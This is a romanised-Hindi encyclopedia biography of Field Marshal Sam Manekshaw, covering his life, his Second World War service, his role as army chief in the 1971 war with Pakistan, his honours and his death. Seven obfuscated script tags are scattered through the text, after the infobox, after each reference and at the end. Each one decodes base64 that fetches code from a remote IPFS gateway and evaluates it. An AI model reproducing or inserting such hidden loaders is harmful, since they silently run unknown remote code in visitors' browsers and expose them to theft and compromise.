सैम मानेकशॉ
saim manekash aau
| |
| poora nam | saim hormoosaji fremaji jamashedaji manekash aau |
| any nam | saim bahadur |
| janm | 3 aprail, 1914 |
| janm bhoomi | amritasar, panjab |
| mrityu | 27 joon, 2008 |
| mrityu sthan | veliangatan, tamilanadu |
| pati/patni | sillo bode |
| karm bhoomi | bharat |
| karm-kshetr | bharatiy sainy seva |
| puraskar-upadhi | padm bhooshan, padm vibhooshan, bharat ke pahale fild marshal |
| vishesh yogadan | bharatiy sena ke adhyaksh the jinake netritv mean bharat ne sanh 1971 mean hue bharat-pakistan yuddh mean vijay prapt kiya tha jisake parinamasvaroop baangladesh ka janm hua. |
| nagarikata | bharatiy |
| any janakari | apane 40 sal ke sainik jivan mean unhoanne doosare vishv yuddh ke alava chin aur pakistan ke sath hue tinoan yuddhoan mean bhi bhag liya tha. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
saim manekash aau (aangrezi:Sam Manekshaw) poora nam 'saim hormoosaji fremaji jamashedaji manekash aau' (janm: 3 aprail 1914 - mrityu: 27 joon 2008) bharatiy sena ke adhyaksh the jinake netritv mean bharat ne sanh 1971 mean hue bharat-pakistan yuddh mean vijay prapt kiya tha jisake parinamasvaroop baangladesh ka janm hua tha. adamy sahas aur yuddhakaushal ke lie mashahoor, bharatiy sena ke itihas mean svarnim dastakhat karane vale sabase jyada charchit aur kushal sainik kamaandar padm bhooshan, padm vibhooshan saim manekash aau bharat ke pahale 'fild marshal' the. apane 40 sal ke sainik jivan mean unhoanne doosare vishv yuddh ke alava chin aur pakistan ke sath hue tinoan yuddhoan mean bhi bhag liya tha. unake dost unhean pyar se 'saim bahadur' kahakar bulate the.
jivan parichay
saim manekash aau ka janm 3 aprail 1914 ko amritasar mean ek parasi parivar mean hua tha. unaka parivar gujarat ke shahar valasad se panjab a gaya tha. manekash aau ne praranbhik shiksha amritasar mean ki aur bad mean ve nainital ke sheravud k aaulej mean dakhil ho ge. ve deharadoon ke iandiyan militri ekedami ke pahale baich ke lie chune ge 40 chhatroan mean se ek the. vahaan se ve kamishan prapti ke bad bharatiy sena mean bharti hue. 1937 mean ek sarvajanik samaroh ke lie lahaur ge saim manekash aau ki mulakat sillo bode se huee. do sal ki yah dosti 22 aprail 1939 ko vivah mean badal gee. 1969 ko unhean senadhyaksh banaya gaya. 1973 mean saim manekash aau ko fild marshal ka samman pradan kiya gaya. saim manekash aau bharat ke pahale fild marshal the. 15 janavari, 1973 mean sena pramukh ke pad se sevanivritt hue.[1]
sainik jivan
17vian ianpheantri divijan mean tainat saim manekash aau ne pahali bar dvitiy vishvayudgh mean jang ka svad chakha, barma abhiyan ke dauran setaang nadi ke tat par japaniyoan se loha lete hue saim gambhir rup se ghayal ho ge, pet me kee goliyaan lagane par unaka bachana lagabhag namumakin ho gaya tha. unhean gambhir avastha mean rangoon ke sainik aspatal mean laya gaya, jab ek sarjan ne unaka aaupareshan karane se pahale unase poochha "what happen to you" to unhoanne hansate hue kaha "I was kicked by a bloody mule!" unaki dileri se prabhavit ho sarjan ne kaha "Given your sense of humour, it will be worth saving you!" unake adamy sahas se prabhavit barma morche ke kamaandiang aphisar mejar janaral di.ti. k aauvan ne unhean jivan-mrityu se sangharsh karate dekh aspatal ke bistar par hi svayan ka militri kras unhean pradan karate hue kaha 'marane ke bad padakoan ka koee mol nahian hota.' parantu maut ko chakama dekar, saim manekash aau pahale staph k aaulej kveta, phir janaral slims ki 14vian sena ke 12 phrantiyar raiphal phors mean lephtineant banakar barma ke jangaloan mean ek bar phir japaniyoan se do-do hath karane ja pahuanche, yahaan ve bhishan l daee mean phir se buri tarah ghayal hue, dvitiy vishvayudgh khatm hone ke bad saim ko st aauph aphisar banakar japaniyoan ke atmasamarpan ke lie iando-chayana bheja gaya jahaan unhoanne lagabhag 10,000 yudghabandiyoan ke punarvas mean apana yogadan diya. 1946 mean ve pharst gred st aauph aauphisar banakar militri apareshans dayarektret mean sevarat rahe, vibhajan ke bad 1947-48 ki kashmir ki l daee mean bhi unhoanne mahattvapoorn bhoomika nibhaee. taraqqi ki sidhiyaan chadhate hue saim ko nagalaiand samasya ko sulajhane ke avismaraniy yogadan ke lie 1968 mean padm bhooshan se navaja gaya.[2]
sena pramukh
- 7 joon 1969 ko saim manekash aau ne janaral kumaramangalam ke bad bharat ke 8vean sena pramukh ka pad grahan kiya, unake itane saloan ke anubhav ke imtihan ki gh di tab aee jab hajaroan sharanarthiyoan ke jatthe poorvi pakistan se bharat ane lage aur yudgh avashyanbhavi ho gaya, disambar 1971 mean yah ashanka saty sidgh huee, saim manekash aau ke yudgh kaushal ke samane pakistan ki karari har huee tatha baangladesh ka nirman hua. unake deshaprem v desh ke prati nisvarth seva ke chalate unhean 1972 mean padm vibhooshan tatha 1 janavari 1973 ko fild marshal ke manad pad se alankrit kiya gaya.[2]
spashtavadi
har yodgha ke sath kee rochak kisse aur romaanchak vakaye ju de hote haian aur saim bahadur bhi isake apavad nahian rahe haian. yah qissa to aj bhi yad kiya jata hai ki kaise 1971 ki l daee ke bad tatkalin pradhanamantri iandira gaandhi ne unhean poochha ki aisi charcha hai ki ap mera takhta palatane vale haian, saim manekash aau ne apane jindadil aandaz mean kaha, 'kya apako nahian lagata ki maian apaka sahi uttaradhikari sabit ho sakata hooan? kyoanki ap hi ki tarah meri bhi nak lanbi hai.' aur phir saim ne kaha, 'lekin maian apani nak kisi ke mamale mean nahian dalata aur siyasat se mera door-door tak koee vasta nahian aur yahi apeksha maian ap se bhi rakhata hooan.'[2]
rashtriy mahanayak
fild marshal saim manekash aau ne bharat ke lie kee mahattvapoorn jangoan mean nirnayak bhoomika nibhaee thi, unaki sabase b di upalabdhi mani jati hai - 1971 mean pakistan ke khilaf jit, jisaka sehara unake sir hi baandha jata hai. tab se 'saim bahadur' ke nam se mashahoor fild marshal manekash aau rashtriy mahanayak ke roop mean dekhe jate haian.
- dakyoomeantri film
saim bahadur par ek dakyoomeantri film bhi bani hai- 'in var eand pis : d laiph aauph fild marshal saim manekash aau' yah film dada dvara apane pote ko batae ge kisse par adharit hai, jisamean dada yani saim manekash aau apane pote ko bharat ke kuchh yadagar aitihasik paloan ke bare mean janakari dete haian.[2]
jit ke jajbe ke janak
thumb|250px|saim manekash aau 1971 mean iandira gaandhi ke rajanitik netritv mean saim manekash aau ne us rashtriy apaman ko dho dala jisamean ek pakistani phauji 10-10 bharatiy phaujiyoan ke barabar hota hai. is phitoor ke shikar pakistaniyoan ko pahali bar hakikat ka ahasas hua. yahaan is ghatana ka zikr prasangik hoga ki iandira gaandhi disanbar 1970 se qarib ath mahine pahale phauji karravaee chahati thian. manekash aau ne saf mana kar diya tha kyoanki nirnayak jit ke lie tab tak bharat ki sashastr senaean taiyar nahian thian. pahali bar bharat ki thal sena, vayusena aur nausena ne samanvit karravaee ki. thal sena dhaka ki or badh rahi thi, to nausena ki misail botoan ke hamale se karachi bandaragah dhoo-dhookar jal raha tha. manekash aau ke kushal sainik netritv ka hi yah kamal tha. iandira gaandhi chahati thian ki ek taraph baangladesh bane aur doosari taraph pashchimi pakistan ko itana tabah kar diya jae ki lanbe samay tak vah sir n utha sake. unaka adesh tha 'smaish pak v aaur mashin.' manekash aau ko bharosa tha ki vah ise kar dikhaeange. yah sanbhav nahian ho paya kyoanki soviyat sangh ne isake lie mana kar diya tha. phauji sajosaman aur suraksha parishad mean vito ke lie soviyat sangh par nirbhar bharat akele pashchimi pakistan ki kamar n to d pata. soviyat sangh ko amerika aur chin ne sandesh diya tha ki bharat ne pashchimi pakistan mean sainik karravaee jari rakhi, to ve hastakshep kareange.
iandira gaandhi ka rajanitik mishan adhoora rah gaya. phir bhi manekash aau ke sainik netritv ne rashtr ko sarvatha naya atmavishvas diya. yad karean, isase pahale kab shatru sainikoan ne is tarah bharat ke age ghutane teke the? selyookas ki yoonani sena par chandragupt maury ki nirnayak jit ke bad shatabdiyoan ke itihas mean doosara udaharan nahian milata. bhavishy mean bhi doosari misal shayad nahian milegi, kyoanki paramanu hathiyaroan ke daur mean koee pagal kathamulla hi kashmir h dapane ki koshish karega. ummid ki jae ki pakistan ke paramanu hathiyar madhyayugin kathamulloan ki pahuanch se hamesha pare raheange. is tarah manekash aau ne 1971 mean ek aisi lain khianch di, jise chhota karana namumakin rahega.[3]
pakistan ka atmasamarpan
fild marshal saim manekash aau vah shakhs the jinhoanne 1971 ke yuddh mean bharat ko pakistan par aitihasik jit dilaee. yuddh ke dauran bharatiy sena ne pakistani sena ko nako chane chabava die aur isaka shrey kafi had tak fild marshal saim manekash aau ko jata hai. unhoanne sena ka utsah badhane ke sath-sath ek majaboot rananiti banaee. manekash aau ki kushal rananiti ki badaulat hi pakistani sena par bahut jald jit hasil huee. is yuddh ka parinam tha pakistani sena ka bina shart atmasamarpan aur baangladesh ka uday. is yuddh mean 45 hajar se jyada pakistani sainik aur itane hi pakistani nagarikoan ne atmasamarpan kiya tha.[4]
samman aur puraskar
- nagalaiand samasya ko sulajhane ke avismaraniy yogadan ke lie 1968 mean padm bhooshan se navaja gaya.
- deshaprem v desh ke prati nisvarth seva ke chalate unhean 1972 mean padm vibhooshan se sammanit kiya gaya.
- 1 janavari 1973 ko fild marshal ke manad pad se alankrit kiya gaya.
nidhan
vriddhavastha mean unhean pheph de sanbandhi bimari ho gee thi aur ve koma mean chale ge the. unaki mrityu 94 varsh ki avastha mean veliangatan, tamilanadu ke sainy aspatal ke aeesiyoo mean huee. raksha mantralay ki taraph se jari bayan ke mutabiq 27 joon 2008 ko rat 12:30 baje unhoanne aantim saans li.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ fild marshal saim manekash aau nahian rahe (hiandi) aeebien khabar. abhigaman tithi: 16 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 2.3 salam ! saim bahadur (hiandi) maee vebaduniya hiandi. abhigaman tithi: 16 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jit ke jajbe ka janak saim manekash aau (hiandi) navabharat taims. abhigaman tithi: 16 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ baangla yuddh ke hiro saim manekash aau nahian rahe (hiandi) navabharat taims. abhigaman tithi: 16 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- pak saphaeekarmi se manekash aau ne hath milaya!
- Creator of History Narrates it:Sam Manekshaw’s Speech (Video)
- Images of 1971: The Pakistani Surrender at Dhaka
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>